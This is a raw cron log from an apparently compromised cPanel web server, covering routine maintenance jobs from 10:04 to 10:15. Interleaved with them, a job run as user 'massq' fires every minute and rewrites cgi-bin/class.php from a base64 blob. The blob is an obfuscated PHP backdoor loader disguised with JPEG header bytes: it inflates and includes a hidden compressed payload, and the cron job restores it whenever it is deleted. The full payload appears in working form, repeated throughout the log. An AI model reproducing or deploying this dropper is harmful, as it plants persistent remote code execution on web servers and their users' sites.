Sep  8 10:04:01 server CROND[10299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:04:01 server CROND[10300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:05:01 server CROND[10853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:05:01 server CROND[10857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:05:01 server CROND[10858]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 10:05:01 server CROND[10861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:05:01 server CROND[10859]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:05:01 server CROND[10862]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:05:01 server CROND[10860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:05:01 server CROND[10864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:06:01 server CROND[11709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:06:01 server CROND[11710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:06:01 server CROND[11711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:07:02 server CROND[12084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:07:02 server CROND[12086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:07:02 server CROND[12085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:08:01 server CROND[12474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:08:01 server CROND[12475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:08:01 server CROND[12476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:09:01 server CROND[12894]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:09:01 server CROND[12895]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 10:09:01 server CROND[12896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:09:01 server CROND[12897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:10:02 server CROND[13383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:10:02 server CROND[13385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:10:02 server CROND[13386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:10:02 server CROND[13389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:10:02 server CROND[13390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 10:10:02 server CROND[13388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:10:02 server CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:10:02 server CROND[13391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:11:01 server CROND[14261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:11:01 server CROND[14262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:11:01 server CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:12:01 server CROND[14686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:12:01 server CROND[14687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:12:01 server CROND[14688]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 10:12:01 server CROND[14689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:13:01 server CROND[15053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:13:01 server CROND[15054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:13:01 server CROND[15055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:14:01 server CROND[15432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 10:14:01 server CROND[15433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:14:01 server CROND[15434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:15:01 server CROND[15923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 10:15:01 server CROND[15925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 10:15:01 server CROND[15932]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 10:15:01 server CROND[15929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 10:15:01 server CROND[15928]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 10:15:01 server CROND[15930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 10:15:01 server CROND[15927]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
